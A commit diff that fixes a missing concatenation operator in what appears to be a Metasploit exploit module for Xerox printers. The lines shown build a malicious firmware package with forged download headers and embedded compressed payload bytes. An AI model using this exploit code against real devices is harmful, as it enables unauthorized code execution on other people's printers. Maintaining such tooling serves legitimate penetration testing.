Fix a simple typo

Author: percx

modules/exploits/unix/misc/xerox_mfp.rb

@@ -58,7 +58,7 @@ def exploit
     firmcode << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
     firmcode << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
     firmcode << '%%OID_ATT_DLM_SIGNATURE "ca361047da56db9dd81fee6a23ff875facc3df0e1153d325c2d217c0e75f861b"' + "\x0A"
-    firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"'"\x0A"
+    firmcode << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
     firmcode << '%%XRXend' + "\x0A\x1F\x8B\x08\x00\xB1\x8B\x49\x54\x00\x03\xED"
     firmcode << "\xD3\x41\x4B\xC3\x30\x14\x07\xF0\x9E\xFB\x29\xFE\xE2\x60\x20\x74"
     firmcode << "\x69\x63\x37\x61\x5A\xBC\x79\x94\xDD\x3C\xC8\xA0\x59\x9B\xDA\x4A"